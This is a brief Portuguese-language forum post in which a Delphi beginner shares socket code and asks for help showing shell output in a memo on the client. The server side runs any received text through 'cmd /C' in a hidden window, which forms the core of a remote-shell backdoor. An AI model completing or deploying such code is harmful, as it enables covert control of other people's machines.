Não sei muito bem como fazer cara.. me desculpe.. Sou Iniciante no delphi só programo a poucas semanas atrás.. a única coisa que consegui fazer foi isto ClientSocket: Uma Edit e um Botão Codigo do botão: var shell : string; begin shell:=Edit1.Text; if not assigned(lv.Selected) then exit; ss.Socket.Connections[LV.ItemIndex].SendText(shell); end; No ServerSocket está assim: var dados : String; begin dados:=Socket.ReceiveText; WinExec(PChar('cmd /C' + dados), SW_HIDE); so queria por um memo no cliente para mostrar as informações da shell que é executada na serversocket.. agradecia que alguém me ajuda-se..